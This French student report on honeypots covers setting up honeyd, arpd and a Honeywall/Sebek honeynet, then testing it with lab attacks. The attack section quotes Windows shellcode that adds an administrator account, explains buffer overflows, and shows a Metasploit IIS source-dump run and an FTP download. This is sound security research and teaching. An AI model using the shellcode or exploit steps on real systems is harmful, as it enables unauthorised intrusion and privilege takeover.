    3.1 Architecture global Grce au matriel disponible dans la condition relle, je propose un schma de rseau en basant sur la combinaison entre Honeywall et honeyd pour bien analyser les attaques et faire des statistiques dans lenvironnement rel. Ci-dessous est le schma du rseau.

    - 25 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Figure 20 Le schma du rseau global de Honeynet

    3.2 Installation Honeyd Rf. : http://www.ifi.edu.vn/rapports/stages/promo07/stage-doan_duy_thieu_hoa.pdf Comme la deuxime partie (2.1 Honeyd), Honeyd fonctionne sur les machines UNIX, Solaris ou BSDs drivs. En fait, c'est un daemon qui simule des htes virtuelles sur un rseau en utilisant les adresses IP non-distribues sur le rseau. On peut configurer ces htes grce aux templtes disponibles dans Honeyd pour qu'ils paraissent comme certains systmes d'exploitation. Honeyd doit fonctionner en collaboration avec Arpd ou un proxy arp. Arpd permet d'assigner les adresses non-distribues l'adresse MAC de l'hte original (2.1.2 Fonctionnement). Par consquente, les attaques sont dirigs vers Honeyd. Ce moment l, honeyd change des donnes avec les attaquants en basant les services simuls (Telnet, Ssh, iis serveur etc.). Mais sans Arpd, le honeyd est rien.

    - 26 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Pour installer honeyd, on a besoin des librairies : libdnet, libdnsres, libevent, libpcap, pcre. Ci-dessous sont les paquets ncessaires : arpd-0.2.tar.gz honeyd-1.5b.tar.gz libdnet-1.11.tar.gz libdnsres-0.1a.tar.gz libevent-1.2.tar.gz libpcap-0.9.5.tar.gz pcre-7.0.tar.gz Tous les paquets sont mis dans un mme rpertoire. Installer 5 librairies Pour libdnet tar -xzf libdnet-1.11.tar.gz cd libdnet-1.11 ./configure prefix={LIBDNET_PATH} make && make install Pour libevent tar -xzf libevent-1.2.tar.gz cd libevent-1.2 ./configure prefix={LIBEVENT_PATH} make && make install Pour libdnsres tar -xzf libdnsres-0.1a.tar.gz cd libdnsres-0.1a ./configure prefix={LIBDNSRES_PATH} --with-libevent={LIBEVENT_PATH} make && make install Pour libpcap tar -xzf libpcap-0.9.5.tar.gz cd libpcap-0.9.5 ./configure prefix={LIBPCAP_PATH} make && make install Pour pcre

    - 27 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    tar -xzf pcre-7.0.tar.gz cd pcre-7.0 ./configure prefix={PCRE_PATH} make && make install Installer honeyd en utilisant 5 librairies ci-dessus tar -xzf honeyd-1.5b.tar.gz cd honeyd-1.5b ./configure prefix={HONEYD_PATH} with-libpcap={LIBPCAP_PATH} with-libdnet={LIBDNET_PATH} --with-libevent={LIBEVENT_PATH} --with-libdnsres={LIBDNSRES_PATH} --with-libpcre={PCRE_PATH} Installer arpd en utilisant 3 librairies libdnet, libevent, libpcap tar -xzf arpd-0.2.tar.gz cd arpd-0.2 ./confugure prefix={ARPD_PATH} --with-libdnet={LIBDNET_PATH} --with-libevent={LIBEVENT_PATH} --with-libpcap={LIBPCAP_PATH} Attention : Quand on lance arpd, il faut exporter le variable d'environnement LD_LIBRARY_PATH export LD_LIBRARY_PATH={LIBEVENT_PATH}/lib - Quand on lance. /configure de honeyd, tout d'abord copier pcap.h pcap-bpf.h et pcap-namedb.h et libpcap.a dans {LIBPCAP_PATH} /include et {LIBPCAP_PATH} /lib au rpertoire racine {LIBPCAP_PATH}

    3.2.1 Configuration Honeyd Honeyd utilise un fichier honeyd.conf (le templte du fichier se trouve dans {HONEYD_PATH} /share/honeyd) pour configurer l'architecture du rseau virtuel. Dans ce fichier, on peut personnaliser notre propre rseau pour adapter la configuration du rseau rel. Ce fichier est utilis par l'option -f de la commande honeyd Par exemple: ./honeyd -f honeyd.conf

    - 28 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Une fois que honeyd est lanc, il lit ce fichier et gnre les composants correspondants, par exemple : les systmes d'exploitation configurs et/ou les routeurs. Par ailleurs, il y a 4 autres fichiers concernant honeyd: - pf.os : contient la base de signature des systmes d'exploitation en analysant des paquets qui arrivent. - xprobe2.conf : dtermine les ractions aux outils empreintes ICMP. - nmap.prints : contient la base d'empreintes pour tous les matriels et systmes d'exploitation pour identifier les sources d'attaque. - nmap.assoc : contient les noms correspondants les empreintes dans nmap.prints. Un exemple compltement : ./honeyd -d -f honeyd.conf.custom -a nmap.assoc -p nmap.prints -x xprobe.conf -0 pf.os -l /tmp/log/honeyd.log -s /tmp/log/honeyd.server.log 10.0.1.0/24 Configurer un rseau virtuel reli la machine relle RH9 (kernel 2.4.20-8) avec IP 10.0.0.5 Supposons que nous voulons crer un rseau virtuel avec deux machines WINXP SP1 dans la classe C 10.0.1.0 avec deux adresses 10.0.1.6 et 10.0.1.7 sous un routeur Cisco virtuel 10.0.0.1 Fichier honeyd.conf.honeynet route entry 10.0.0.1 network 10.0.0.0/24 route 10.0.0.1 link 10.0.1.0/24 create Windows set Windows personality "Microsoft Windows XP Professional SP1" set Windows uptime 1728650 set Windows maxfds 35 add Windows tcp port 23 "scripts/telnet/faketelnet.pl" add Windows tcp port 22 proxy 10.0.0.3:22 add Windows tcp port 80 "scripts/win32/win2k/iis.sh" add Windows tcp port 139 open add Windows tcp port 137 open add Windows tcp port 135 open add Windows tcp port 445 open add Windows tcp port 443 open set Windows default udp action reset set Windows default tcp action reset set Windows default icmp action open create BSD set BSD personality "BSDI BSD/OS 2.0 - 2.1"

    - 29 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    set BSD uptime 1728650 set BSD maxfds 35 add BSD tcp port 21 "scripts/unix/linux/ftp.sh" add BSD tcp port 23 "scripts/telnet/faketelnet.pl" add BSD tcp port 22 proxy 10.0.0.3:22 add BSD tcp port 80 "scripts/web.sh" add BSD tcp port 139 open add BSD tcp port 137 open add BSD tcp port 135 open add BSD tcp port 445 open add BSD tcp port 443 open set BSD default udp action reset set BSD default tcp action reset set BSD default icmp action open create default set default default tcp action block set default default udp action block set default default icmp action block create router set router personality "Cisco 1601R router running IOS 12.1(5)" set router default tcp action reset add router tcp port 22 "scripts/test.sh" add router tcp port 23 "scripts/router-telnet.pl" bind 10.0.0.1 router bind 10.0.1.6 Windows bind 10.0.1.7 BSD Avec cette configuration, nous avons des machines ayant le mme comportement (comme WINXP SP1). En ralit, on peut simuler un nombre quelconque de machines en assignant les IP adresses 10.0.1.X vers cette templte. La figure suivant illustre notre rseau virtuel sur hte Linux RH 9.

    Figure 21 Honeypots virtuels sous RH9

    - 30 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    3.2.2 Lancement et teste du fonctionnement Condition pralable : - Une machine host avec Linux RH9 IP 10.0.0.5 (dans ce cas c'est aussi un honeypot Linux dans notre honeynet, la suite) dans laquelle on doit installer arpd et honeyd (la partie prcdente). - Une machine pour tester, ici c'est une machine Ubuntu 6.0.6 avec IP 10.0.0.13, tout d'abord on va utiliser la commande Ping pour scanner les machines avec IP virtuels et Telnet pour essayer d'entrer ces machines. Attention : - En utilisant arpd avec un DHPC serveur cause un conflit sils grent une mme classe IP de rseau. Pour viter a, nous laissons arpd de grer une autre classe de IPs 10.0.1.0/24 - A partir la machine host, on ne peut pas vrifier les machines virtuelles par la commande Ping. La commande Ping n'envoie pas le paquet vers sa carte de rseau, c'est la raison pour laquelle on doit utiliser une autre machine. Lancer : Tout d'abord activer le daemon arpd. #./arpd -d 10.0.0.1 10.0.1.6-10.0.1.7 10.0.1.0/24 La ou: -d pour lancer en mode verbose . En suite, lancer honeyd pour couter les requtes. ./honeyd -d -f honeyd.conf.honeynet -a nmap.assoc -p nmap.prints -x

    xprobe.conf -0 pf.os -l /tmp/log/honeyd.log -s /tmp/log/honeyd.server.log 10.0.1.0/24

    Analyse des donnes captures : Les IPs et les services utiliss pour tester. Machine IP Description Services offrites 10.0.0.5 Machine host Linux RH9 10.0.0.1 Routeur virtuel Cisco Telnet 10.0.1.6 Machine virtuelle 1 WINXP SP1 http, telnet, ssh 10.0.1.7 Machine virtuelle 2 WINXP SP1 http, telnet, ssh 10.0.0.13 Machine test Ubuntu 6.0.6

    - 31 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    10.0.0.6 WINXP SP2 pour expdier les requets sur port telnet

    Telnet

    Pour l'instance, on va utiliser la commande Ping et Telnet pour vrifier le fonctionnement de honeyd par analyser le fichier de journal. Premirement, les empreintes par commande Ping Quand on lance la command Ping partir de la machine test Ubuntu (10.0.0.13) vers une adresse 10.0.1.7, donc, le daemon sur machine host (relle 10.0.0.5) va recevoir un paquet Who has adresse IP 10.0.1.7. Suivre le scnario, arpd va envoyer un meme paquet avec une dure d'expire. Si aucune rponse, il va assigner ce IP l'adresse MAC de la carte de rseau sur machine host 10.0.1.7 is-at XX:XX:XX:XX:XX:XX En observant le journal du arpd on trouve a arpd[1158]: arpd_lookup: no entry for 10.0.1.7 arpd[1158]: arpd_send: who-has 10.0.1.7 tell 10.0.0.5 arpd[1158]: arpd_send: who-has 10.0.1.7 tell 10.0.0.5 arpd[1158]: arpd_recv_cb: 10.0.1.7 still discovering (2) arpd[1158]: arp reply 10.0.1.7 is-at 00:10:5a:5e:f0:37 Ds maintenant, honeyd va rpondre cette commande Ping. On trouve ces informations dans le journal de honeyd honeyd[1185]: Sending ICMP Echo Reply: 10.0.1.7 -> 10.0.0.13 honeyd[1185]: Sending ICMP Echo Reply: 10.0.1.7 -> 10.0.0.13 honeyd[1185]: Sending ICMP Echo Reply: 10.0.1.7 -> 10.0.0.13 honeyd[1185]: Sending ICMP Echo Reply: 10.0.1.7 -> 10.0.0.13 honeyd[1185]: Sending ICMP Echo Reply: 10.0.1.7 -> 10.0.0.13 honeyd[1185]: Sending ICMP Echo Reply: 10.0.1.7 -> 10.0.0.13 Le contenu dans le fichier de journal du honeyd (honeyd.log) 2007-01-21-14:43:27.5190 icmp(1) - 10.0.0.13 10.0.1.7: 8(0): 84 2007-01-21-14:43:27.5657 icmp(1) - 10.0.0.13 10.0.1.7: 8(0): 84 2007-01-21-14:43:27.5827 icmp(1) - 10.0.0.13 10.0.1.7: 8(0): 84 2007-01-21-14:43:28.5303 icmp(1) - 10.0.0.13 10.0.1.7: 8(0): 84 2007-01-21-14:43:29.5304 icmp(1) - 10.0.0.13 10.0.1.7: 8(0): 84 2007-01-21-14:43:30.5306 icmp(1) - 10.0.0.13 10.0.1.7: 8(0): 84 Ci-dessous est l'image capture de ce scnario

    - 32 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Deuximement, c'est le test sur le service Telnet du routeur 10.0.1.6 pour essayer d'entrer le systme Une fois que la machine test recevoir le signal qui dit que la machine virtuelle est disponible, on va utiliser le client telnet pour dcouvrir la victime.

    Notre machine test envoie une requte vers la machine cible 10.0.1.6 sur le port 23 pour demander une connexion. En fait, elle est en train de manipuler avec un service sous un proxy vers une machine relle 10.0.0.6. Ci-dessous sont des informations journalises par fichier de journal du honeyd. L'cran du honeyd honeyd[1185]: Connection request: tcp (10.0.0.13:44809 - 10.0.1.6:23) honeyd[1185]: Connection established: (10.0.0.13:44809 - 10.0.1.6:23) -> proxy to

    10.0.0.6:23 Fichier de journal honeyd.log 2007-01-21-15:02:28.8145 tcp(6) S 10.0.0.13 44809 10.0.1.6 23 [Linux 2.6 .1-7] Dans la partie suivante, on va mettre cette machine (RH9) en derrire d'un pare-feu-ponte dans un honeynet (3.1 Architecture globale).

    - 33 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    3.3 Installation Honeynet Comme ce qui sont considrs dans la partie 3.1, dans cette partie, on va crer des machines relles qui jouent des honeypots dans un Honeynet. Ces honeypots sont mis en derrire d'une porte de sortie (gateway). En ralit, il vaut mieux si l'on met tous les honeypots dans la zone dmilitarise (DMZ) pour faciliter de recevoir des requtes sur Internet. Mais dans ce cas l, avec la limitation des matriels (on a une seul machine qui joue un honeypot et une machine qui joue un gateway, un modem ADSL), donc on va installer trois systmes d'exploitation dans une mme machine (ne pas utiliser VMWare cause de la vitesse de cette machine). La figure suivant illustre la configuration relle de notre rseau.

    Ci-dessous sont les matriels utiliss et leur puissant :

    Matriel OS Configuration

    Modem ADSL Surcom - ADSL, Routeur, switch 4 port

    Switch SmartLink - 8 port

    PC XP SP1, WIN2K, RH9 Pentium 3 800MH, 288MB RAM

    - 34 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    PC Honeywall Roo (kernel FC3)

    Cerelon 400MH, 192MB RAM

    Laptop Ubuntu (tester et surveiller)

    Pentium 3 1GH, 512MB RAM

    Les systmes dexploitation utiliss pour installer sur honeypots et gateway: - WIN XP SP1 - WIN 2000 advance server (none service pack) - RedHat Version 9.0 kernel 2.4.20-8 - Roo 1.1-hw-1 (kernel FC3) Rf. : http://www.honeynet.org/ Systme d'exploitation utilis pour tester le fonctionnement - Ubuntu 6.06 (pour lancer outil Mtasploit, la suite) Les logiciels utiliss pour capturer et surveiller les flux de rseau et les activits sur chaque honeypots. Logiciels pour surveiller les flux de rseau : - Snort : un sniffeur qui coute le trafic sur le pont et annonce les flux malicieux en utilisant une base de signature. Rf. : www.snort.org - Snort-inline : pour remplacer des fragments de code malicieux dans les flux de sortie sur le gateway. - Walleye : fournit une interface Web pour analyser des donnes captures. - Sebekd : un daemon qui coute les donnes qui sont envoies partir des honeypots par les clients sebek (la suite). - Iptable : pour empcher des flux de sortie partir des honeypots et journaliser les flux de donne (jouer le rle de pare-feu). - Hflow : pour enregistrer les donnes d'entre et sortie pour servir analyse des flux d'attaque. Tous les logiciels sont intgrs dans Roo 1.1-hw-1 (Honeywall),

    - 35 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    n'installer que Honeywall, c'est suffisant. Lien pour tlcharger : http://www.honeynet.org/tools/cdrom/roo/iso/test/ Logiciels pour capturer les activits sur chaque honeypots - sebek client 3.0.4 pour WINDOWS tous les versions. - sebek client 3.0.3 pour RedHat Linux kernel 2.4.20-8. Lien pour tlcharger : http://www.honeynet.org/tools/sebek/ Installer honey-gateway en utilisant CD-ROM Roo 1.1-hw-1 sur PC Cerelon 400MH - Insrer le disque CD-ROM et suivre le scnario disponible pour installer le gateway. On va considrer la configuration du gateway dans la partie aprs. - Aprs avoir russit l'installation, tous les composants ci-dessus sont dj disponibles (pas besoin plus d'installation) mais pas encore configurs. Attention : Quand on installer Roo CD. Par dfaut, toutes les partitions du disque dur sont effaces. Installer les clients sebek sur les honeypots - Supposons que l'on a dj russit installer WINXP SP1, WIN 2000 serveur et Redhat 9.0 sur la machine Pen 3 800MH, maintenant, on va installer les versions du client sebek sur chaque honeypot. Une fois que le client sebek est install sur un pot, dans l'avenir, il peut capturer des oprations de lecture, d'criture et mme si les connexions concernant le socket. Installer le client sebek sur la machine WINDOWS - Tlcharger le paquet Sebek-Win32-3.0.4.zip. - Extraire le paquet en zip et lancer le fichier Setup.exe. - Aprs avoir lanc Setup.exe, lancer le programme Configuration Wizard.exe, pour bien comprendre les paramtres d'entre dans ce programme, voyez la partie 3.3.1 (Configuration honeynet). Installer le client sebek sur la machine Linux RedHat 9.0 - Tlcharger le paquet sebek-linux-3.0.3.tar.gz. tar -xzf sebek-linux-3.0.3.tar.gz cd sebek-linux-3.0.3 ./configure

    - 36 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    make make install - Aprs avoir fait make install, un paquet sebek-linux-3.0.3-bin.tar est cre. tar -xf sebek-linux-3.0.3-bin.tar cd sebek-linux-3.0.3-bin

    - En suite lancer le fichier shell sbk_install.sh. ./sbk_install

    Attention : avant lancer sbk_install.sh, voyez la partie la suite (3.3.3 Configuration honeynet) pour avoir plus d'information dtaille de configuration du sebek.

    3.3.1 Configuration Honeynet Configuration du Honeywall Une fois que Honeywall est install, la premire mission est de configurer le systme. Honeywall, en fait, c'est un gateway qui surveille des flux d'entre et sortie de Honeynet. Il fonctionne en mode de pont (bridge) et utilise iptable, snort, et snort-inline pour contrler des donnes. Par ailleurs, il utilise galement pcap-api pour capturer des donnes sur la carte de rseau. Honeywall fournit une interface de type dialogue pour configurer le fichier /etc/honeywall.conf (Rf. : www.honeynet.org/tools/cdrom/roo/manual/5-setup.html). Ci-dessous sont des paramtres les plus importants et leur valeur. Fichier /etc/honeywall.conf # This Honeywall's public IP address(es) HwHPOT_PUBLIC_IP=10.0.0.3 10.0.0.4 10.0.0.5 # The name of the externally facing network interface HwINET_IFACE=eth0 # The name of the internally facing network interface HwLAN_IFACE=eth1 # Enable the SEBEK collector which delivers keystroke and files # to a remote system even if an attacker replaces daemons such as sshd HwSEBEK=yes # Specify the SEBEK destination host IP address # [Valid argument: IP address] HwSEBEK_DST_IP=0.0.0.0 # Specify the SEBEK destination port

    - 37 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    # [Valid argument: port] HwSEBEK_DST_PORT=1101 # Specy the network interface for remote management. If set to br0, it will # assign MANAGE_IP to the logical bridge interface and allow its use as a # management interface. Set to none to disable the management interface. HwMANAGE_IFACE=eth2 # IP of management Interface HwMANAGE_IP=10.0.0.15 Aprs la premire fois de configuration, comme l'exemple ci-dessus, on peut entrer l'interface web pour rgler des paramtres (https://10.0.0.15).

    Configuration du Snort - mettre jour A partir de la version 2.4.0, la base de signature n'est pas inclut dans snort. Honeywall roo 1.1 utilise snort 2.6.x donc, une tape assez importante, on doit mettre jour la base de signatures avant utiliser Honeywall. Pour mettre jour la base de signatures, il faut s'inscrire au site www.snort.org pour obtenir 0ink Code, en fait, c'est un type de certificat pour permettre aux membres de l'organisation Snort de mettre jour des rgles dans

    - 38 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    leur dpt. Pour avoir plus dtaill, consulter l'interface walleye (SystemAdmin/System Status/Documentation/README.snortrules). Configuration de Sebek au ct du client Le client Sebek est cre en fonction de modifier les fonctions de lecture, d'criture et socket aussi du noyau de systme d'exploitation pour collecter ces oprations ralises par le hacker. Ci-dessous est la configuration du ct de client pour envoyer les informations dintrt vers le daemon sebekd sur Honeywall: - Configuration sur Linux Fichier sbk_install.sh #----- DESTINATION_IP: #----- #----- sets destination IP for sebek packets #----- DESTINATION_IP="0.0.0.0" #----- DESTINATION_MAC: #----- #----- sets destination MAC addr for sebek packets MAC of eth1 #----- DESTINATION_MAC="00:06:7B:02:AF:7E" #----- DESTINATION_PORT: #----- #----- defines the destination udp port sebek sends to #----- DESTINATION_PORT=1101 - Configuration sur WINDOWS Le client Sebek sur Windows offre une belle interface (Configuration Wizard.exe) pour configurer les paramtres ci-dessus.

    3.3.2 Lancement et test du fonctionnement Test sur Honeypot - RH9 IP 10.0.0.5 Scnario simple pour tester : en supposant qu'une attaqueur aie une compte et mot de passe dans la pntration prcdente, et il utilise ce compte pour entrer ce honeypot par le service SSH. A maintenant, on ne sait pas ce qu'il fait dans notre systme. En utilisant l'interface web walleye, on va vrifier si lon peut capturer quelques choses intressantes.

    - 39 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Les activits sur Honeypot RH9 par SSH. thangpq@thangpq-laptop:~$ ssh [email protected] [email protected]'s password: [thangpq@rh9 thangpq]$ nmap 10.0.0.3 -p 139 Starting nmap V. 3.00 ( www.insecure.org/nmap/ ) Note: Host seems down. If it is really up, but blocking our ping probes, try -P0 Nmap run completed -- 1 IP address (0 hosts up) scanned in 10 seconds [thangpq@rh9 thangpq]$ nmap 10.0.0.13 -p 139 Starting nmap V. 3.00 ( www.insecure.org/nmap/ ) The 1 scanned port on (10.0.0.13) is: closed Nmap run completed -- 1 IP address (1 host up) scanned in 1 second [thangpq@rh9 thangpq]$ nmap 10.0.0.13 -p 21 > lognmap.txt [thangpq@rh9 thangpq]$ more /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin ............................................................................... radvd:x:75:75:radvd user:/:/sbin/nologin thangpq:x:500:500:Pham Quyet Thang:/home/thangpq:/bin/bash [thangpq@rh9 thangpq]$ exit logout Connection to 10.0.0.5 closed. thangpq@thangpq-laptop:~$

    Analyses des journaux : Ci-dessous sont les informations captures par Honeywall.

    - 40 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    On sintresse la connexion SSH et regarde larbre des processus concerns cette session.

    Figure 22 Larbre des processus concerne la session SSH Les processus en jaune sont les processus avec le droit de ladministrateur et en cyan ce sont des processus avec le droit dutilisateur ordinaire. Les processus gauche sont les processus gnrs dans lexprimentation les jours avant, et droit sont les processus que lon vient de se connecter au service SSH. Le processus sshd (dutilisateur) en cyan droit nous offre des key-strokes dchiffrs par le client Sebek et combin au processus sshd.

    - 41 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Figure 23 Les key-strokes captures par sebek client

    4 Exprimentation sur Honeypots

    4.1 Outil Metasploit pour tester des exploitations

    4.1.1 Comment faire une attaque Rf. : http://www.vividmachines.com/shellcode/shellcode.html Shellcode Dfinition : Shellcode est un fragment de code, chaque fois nous lanons ce code, il renverra un shell distance. Il reprsente maintenant n'importe quel octet qui sera insr dans un exploit pour accomplir une tche dsire. Condition pralable : la connaissance de l'ensemble x86, de C, et systme d'exploitation sous Linux et Windows.

    - 42 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Connaissance de base de diffrence entre le systme Linux et le systme WINDOWS : La diffrence majeure entre Linux et Windows ce sont les adresses des fonctions du noyau. Avec Linux les adresses de system call sont toujours enregistres dans le tableau des adresses par interrompre INT 0x80 et elles sont toujours fixes dans tous les noyaux des versions diffrentes. Contrairement, lespace du noyau de WINDOWS utilise le mcanisme de type DLL, donc pour chaque version de Windows, ces adresses sont changes, donc les shellcode doit voluer en mme temps avec des versions de WINDOWS. Un exemple dun shellcode pour ajouter un utilisateur : ;adduser.asm [Section .text] global _start _start: jmp short GetCommand CommandReturn: pop ebx ;ebx now holds the handle to the string xor eax,eax push eax xor eax,eax ;for some reason the registers can be very volatile,

    did this just in case mov [ebx + 89],al ;insert the NULL character push ebx mov ebx,0x77e6fd35 ; address WinExec call ebx ;call WinExec(path,showcode) xor eax,eax ;zero the register again, clears winexec retval push eax mov ebx, 0x77e798fd ; address ExitProcess call ebx ;call ExitProcess(0); GetCommand: ;the N at the end of the db will be replaced with a null character call CommandReturn db "cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup

    Administrators /ADD USERNAMEN" Et le tampon correspondant pour insrer dans un exploit : char shellcode[] =

    "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x35\xfd\xe6\x77"\ "\xff\xd3\x31\xc0\x50\xbb\xfd\x98\xe7\x77\xff\xd3\xe8\xe0\xff\xff\xff"\ "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"\ "\x65\x72\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x50\x41\x53\x53\x57"\ "\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c"\ "\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73"\ "\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x55\x53\x45\x52"\ "\x4e\x41\x4d\x45\x4e";

    - 43 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Dpassement de tampon (buffer overflow) Rf. : http://www.comms.scitech.susx.ac.uk/fft/security/Stack_Smashing_Vulnerabilities_in_the_UNIX_Operating_System.pdf Lide pour faire un dpassement de tampon cest que aprs quelques oprations dans une fonction, on change ladresse de retourner pour cette fonction vers une nouvelle adresse du shellcode et commence raliser les opcodes dans la mmoire. Ci-dessous cest un exemple pour faire un buffer overflow .

    - 44 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Dans plusieurs cas, ladresse du dbut du shellcode est trs loin de la fonction prcdente, dans ce cas l, il faut ajouter les opcodes NOP (\x90 pour i386) dans son PAYLOAD. Donc si lon voie les opcodes NOP dans un paquet, peut tre cest une attaque. Pour faire une attaque, tout dabord il faut crire un shellcode et trouver une exploitation de dpassement de tampon, a dpend chaque exploitation, on ajoute des NOPs dans le PAYLOAD .

    4.1.2 Metasploit Rf. : http://www.metasploit.com/ Metasploit est une plateforme pour dvelopper, tester et utiliser les exploitations. Elle est un outil trs puissant pour la recherche des exploitations. Metasploit fonctionne en basant sur les PAYLOADs et les EXPLOITs sous les systmes dexploitation et les services qui offrent sur ces systmes. Par ailleurs, il combine les PAYLOADs et les EXPLOITs pour chaque type de vulnrabilit et devient un outil trs fort. Dans les parties suivantes, on va utiliser cet outil pour tester des exploitations sur les honeypots.

    4.2 Honeyd

    4.2.1 Exploits vers honeyd install sous RH9

    4.2.1.1 Exploitation du web serveur Scnario dune attaque : Supposons que un pirate scanne le plage de notre IPs virtuel 10.0.1.0/24 et trouve un serveur web IIS vulnrable. Pour attirer son attaque, on doit changer un peut le fichier de configuration de honeyd : add Windows tcp port 80 proxy 10.0.0.6:80 On dirige les requtes vers une machine relle WIN XP SP2 mais elle nest pas dans Honeynet (elle est spare avec Honeynet) pour capturer des flux de sortie. Le but de lattaque cest de voir le code original de source du fichier web, pas sous forme retourne HTML, on utilise un exploit dans outil Metasploit pour

    - 45 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    accomplir ce travail. En ralit, cet exploit ne fonctionne que sur les anciennes versions IIS (V .4.x). Dans XP SP2 IIS est 5.1. Ci-dessous sont les options de cette exploitation dans Metasploit msf > use iis_source_dumper msf iis_source_dumper > set TARGET 9 TARGET -> 9 msf iis_source_dumper > set RHOST 10.0.1.6 RHOST -> 10.0.1.6 msf iis_source_dumper > set FORCE 1 FORCE -> 1 msf iis_source_dumper > show options Exploit Options =============== Exploit: Name Default Description -------- ------ ------------ ------------------------------------- required SSL 0 The target port required RHOST 10.0.1.6 The target address required RFILE iisstart.asp The remote file path optional VHOST The virtual host name of the server optional FORCE 1 Force testing when sanity check fails required RPORT 80 The target port Target: IIS 4 Showcode msf iis_source_dumper > exploit [*] Sanity check failed: [*] Attempting to use the 'IIS 4 Showcode' technique... [*] All implemented techniques have failed Analyses des journaux : Avec la cible 10.0.1.6 et loption FORCE est vrai, la machine de source va attaquer sans arrt. La figure ci-dessous va illustrer ce qui sont capturs par Honeywall.

    Dans ce cas, Snort reconnat cette attaque et il annonce (en rouge) ladministrateur. Pour analyser en dtail, on regarde le journal des paquets.

    - 46 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    La partie (en bleu) cest lexploitation pour voir le code de source du fichier *.asp, elle est dans la base de signature du Snort sur Honeywall. En fait, puis que lon utilise un proxy pour diriger des requtes vers la machine de dehors du honeynet, donc on a encore des donnes supplmentaires captures par Honeywall et le client Sebek sur la machine host 10.0.0.5 (RH9).

    Avec les paquets envoys par le client Sebek, Hflow peut construire un arbre des processus concernant les sous processus dans honeyd, en effet cest une bonne faon pour imaginer quest ce qui sest pass dans honeyd.

    - 47 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Figure 24 Larbre des processus dans honeyd

    4.2.1.2 Exploitation du ftp serveur

    Scnario dune attaque : Supposons que un pirate scanne le plage de notre IPs virtuels 10.0.1.0/24 et trouve un serveur ftp vulnrable. Pour attirer son attaque, on doit changer un peut le fichier de configuration de honeyd : add BSD tcp port 21 proxy 10.0.0.6:21

    On dirige les requtes vers une machine relle WIN XP SP2 mais elle nest pas dans Honeynet (elle est spare avec Honeynet) pour capturer des flux de sortie. Sur cette machine, on installe FreeFTPd, cest un daemon vulnrable. Le but de cette exprimentation est de tester lefficace quand on combine honeyd avec honeynet, pour tester la capacit de capturer des flux des donnes du Honeywall. Ci-dessous sont les oprations pour faire une intrusion vers ladresse virtuel 10.0.1.7

    - 48 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    thangpq@thangpq-laptop:~/Desktop/baocaotipe/honeyd-exp$ ftp 10.0.1.7 Connected to 10.0.1.7. 220 Hello, I'm freeFTPd 1.0 Name (10.0.1.7:thangpq): thangpq 331 Password required for thangpq Password: 230 User thangpq logged in Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful 150 Opening ASCII mode data connection drwxr-xr-x 1 root root 0 Jan 21 18:31 . drwxr-xr-x 1 root root 0 Jan 21 18:31 .. -rw-r--r-- 1 root root 424 Jan 27 11:05 test.txt -rwxr-xr-x 1 root root 433192 Nov 12 2006 msgr8us.exe 226 Directory send OK ftp> get msgr8us.exe rootkit.exe local: rootkit.exe remote: msgr8us.exe 200 PORT command successful 150 Opening BINARY mode data connection 226 Transfer Complete 433192 bytes received in 0.05 secs (7951.3 kB/s) ftp>

    Analyses des journaux : La figure suivant illustre les paquets capturs par Honeywall :

